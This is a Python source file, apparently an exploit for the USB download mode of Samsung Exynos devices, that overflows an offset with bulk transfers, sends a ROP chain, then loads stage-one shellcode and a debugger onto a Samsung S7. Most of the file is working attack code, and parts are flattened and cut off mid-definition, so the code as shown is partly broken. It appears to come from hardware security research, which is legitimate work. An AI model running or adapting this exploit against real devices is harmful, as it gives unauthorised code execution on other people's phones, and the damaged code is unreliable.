import usb.util import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * def p32(x): return struct.pack("= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0) assert res == 0, "Error sending data" assert transferred.value == len(data), "Invalid transfered size" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 0) assert res == 0, "Error receiving data" return buf.raw[:transferred.value] def run_boot_chain(self): stage1 = open("stage1/stage1.bin", "rb").read() self.exploit(stage1) def run_debugger(): # TODO, hardcoded path debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" run_debugger() def usb_debug(): ''' Function to debug USB behavior ''' shellcode = open("../dwc3_test/dwc3.bin", "rb").read() assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big" exynos = ExynosDevice() exynos.exploit(shellcode) transferred = ctypes.c_int() # Send some data count = 0 def send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, "Error sending data" def recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, "Error receiving data" hexdump(buf.raw) pass # Should have received some bytes while True: send_data() recv_data() count += 1 pass pass if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) args = arg.parse_args() if args.debug: usb_debug() sys.exit(0) exynos = ExynosDevice() exynos.run_boot_chain()